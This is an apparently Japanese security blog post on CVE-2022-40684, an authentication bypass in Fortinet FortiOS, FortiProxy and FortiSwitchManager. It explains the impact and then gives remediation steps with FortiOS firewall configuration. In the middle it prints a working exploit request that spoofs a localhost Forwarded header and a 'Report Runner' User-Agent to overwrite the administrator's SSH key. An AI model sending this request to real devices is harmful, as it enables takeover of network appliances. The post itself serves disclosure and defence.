CVE-2022-40684

Dec 02 2022
脆弱性について CVE-2022-40684 は、FortiOS、Fortiproxy、FortiSwitchManager などの一部のフォーティネット製品における認証バイパスの脆弱性です。これは、この脆弱性を利用して、攻撃者が認証をバイパスし、管理者としてログインできることを意味します。

脆弱性について

CVE-2022-40684 は、FortiOS、Fortiproxy、FortiSwitchManager などの一部のフォーティネット製品における認証バイパスの脆弱性です。これは、この脆弱性を利用して、攻撃者が認証をバイパスし、管理者としてログインできることを意味します。この脆弱性の基本スコアは 9.8 で、非常に重大です。さらに先に進む前に、これらの製品が何であるかを理解しましょう。

  1. FortiOS: 名前が示すように、Fortinet ネットワーク オペレーティング システムであるFortiOS は、フォーティネット セキュリティの心臓部です。このオペレーティング システムは、セキュリティ ファブリックの中核であり、すべてのコンポーネントを結び付けて、組織の展開全体にわたる緊密な統合を保証します。
  2. FortiProxy: Web フィルタリングなどの複数の検出技術を組み込むことで、従業員をインターネット経由の攻撃から保護する安全な Web プロキシです。
  3. FortiSwitchManager (FSWM) は、FortiSwitch 製品のオンプレミス管理プラットフォームです。FortiSwitch ユニットは、レイヤー 3 ネットワークを介して FortiSwitch Manager に接続します。この FortiSwitch 管理専用プラットフォームを使用して、多数の FortiSwitch ユニットを構成できます。

影響

このバグにより、認証されていないユーザーが一部の HTTP/S リクエスト (メソッドは GET、POST、DELETE など) を介して管理パネルで直接操作を実行できます。管理者の役割を持つと、次のイベントの一部が発生する可能性があります。

  1. アプリケーション全体を制御する
  2. 内部インフラストラクチャへのアクセスの取得
  3. ユーザーの追加または削除
  4. 機密データへの露出
  5. 管理者ユーザーの SSH キーを変更して、攻撃者が侵害されたシステムにログインできるようにする
  6. 異なる設定ファイルの改ざんなど。

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000”;by= ”[127.0.0.1]:9000 ”; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local \”” }

  • Forwarded ヘッダーを使用すると、攻撃者はclient_ipを「127.0.0.1」に設定できます。
  • 「信頼できるアクセス」認証チェックでは、client_ipが「127.0.0.1」であり、User-Agentが「Report Runner」であり、どちらも攻撃者の制御下にあることが確認されます。

「欠点を見つけることよりも、改善策を見つけることの方がはるかに重要です」

以下は、組織を CVE-2022–40684 から保護するための修復の一部です。

  1. 影響を受ける製品のアップグレード。
    FortiOS バージョンを 7.2.2 以上および 7.0.7 以上に
    アップグレードする FortiProxy バージョンを 7.2.1 以上および 7.0.7 以上に
    アップグレードする FortiSwitchManager バージョンを 7.2.1 以上および 7.0.1 以上にアップグレードする
  2. FortiOS、FortiProxy、および FortiSwitchManager で http/https 管理インターフェースを無効にします。
  3. FortiOS の場合、管理インターフェイスに到達できる IP アドレスを制限します
  4. config firewall address
    edit "my_allowed_addresses"
    set subnet <MY IP> <MY SUBNET>
    end
    

    config firewall addrgrp
    edit "MGMT_IPs"
    set member "my_allowed_addresses"
    end
    

    config firewall local-in-policy
    edit 1
    set intf port1
    set srcaddr "MGMT_IPs"
    set dstaddr "all"
    set action accept
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    next
    edit 2
    set intf "any"
    set srcaddr "all"
    set dstaddr "all"
    set action deny
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    end
    

    config firewall service custom
    edit GUI_HTTPS
    set tcp-portrange <admin-sport>
    next
    edit GUI_HTTP
    set tcp-portrange <admin-port>
    end
    

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end